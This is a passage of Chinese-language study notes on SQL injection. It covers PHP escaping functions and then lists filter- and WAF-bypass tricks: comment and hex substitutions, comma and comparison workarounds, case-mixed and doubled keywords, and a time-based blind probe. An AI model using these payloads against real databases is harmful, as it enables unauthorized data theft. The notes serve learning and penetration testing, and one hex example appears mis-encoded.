addslashes 返回字符串,该字符串为了数据库查询语句等的需要在某些特殊字符前加上了反斜线。这些特殊字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)。
htmlspecialchars把HTML中的几个特殊字符转义成HTML Entity(可以预防XSS)
& (AND) => &” (双引号) => " (当ENT_NOQUOTES没有设置的时候)‘ (单引号) => ' (当ENT_QUOTES设置)< (小于号) => <> (大于号) => >
mysql_real_escape_string会 调用MySQL的库函数mysql_real_escape_string,对(\x00), (\n), (\r), (), (‘), (\x1a)进行转义,即在前面添加反斜杠(),预防SQL注入。
0x07-SQL bypass
01-绕过空格\引号\逗号\比较符号\注释符号\等于号
绕过空格,在注入时空格不能使用,绕过
注释符绕过空格,注释符/**/代替空格
select/**/user,passwd/**/from/**/usrs;
采用括号代替空格,时间盲注用的多
sleep(ascii(mid(database()from(1)for(1)))=109)
%a0代替空格
绕过引号
十六进制绕过
select group_concat(table_name) from information_schema.tables where table_schema='security';
select group_concat(table_name) from information_schema.tables where table_schema=2773656375726974792720
绕过逗号
from for绕过
select substr(database(),1,1);
select substr(database() from 1 for 1);
offset绕过
select * from users limit 0,1;
select * from users limit 0 offset 1;
绕过比较符号<
>
,使用函数greatest()、least(),greatest()返回最大值,least()返回最小值
select * from usrs where id=1 and ascii(substr(database(),0,1))>64;
select * from usrs where id=1 and greatest(ascii(substr(database(),0,1)),64)=64;
绕过注释符号-注释符的作用是达到闭合的效果,使用代码闭合符号代替注释符,如"
等于号=绕过使用like 、rlike 、regexp
02-绕过关键字
如:union、select、where
使用注释符绕过
常用注释符
//,-- , /**/, #, --+, -- -, ;,%00,--a
用法:
sel/**/ect * from users un/**/ion select passwd from emils wh/**/ere limit 0,1;
使用大小写绕过
select * from users UnIon select passwd from emils WheRe limit 0,1;
使用内联注释绕过
select * from users /*!union*/ select passwd from emils /*!where*/ limit 0,1;
双写绕过
select * from users unUnionion select passwd from emils where limit 0,1;
绕过姿势千千万,需要实战来积累经验
0x08-SQL Bypass WAF(未完成)
绕WAF还得直接看WAF的规则,构造payload突破WAF规则。灵活的绕过WAF需要对SQL注入有深的了解,本人不行。
上面的0x07的bypass可能会绕过WAF。
绕WAF常用的方法有垃圾参数、分块传输、组合绕过。
等本人对SQL注入有深的了解,再来补充这一部分内容。
0x09-参考
百度
《Web安全攻防:渗透测试实战指南》
《Web安全深度剖析》
《白帽子讲WEB安全》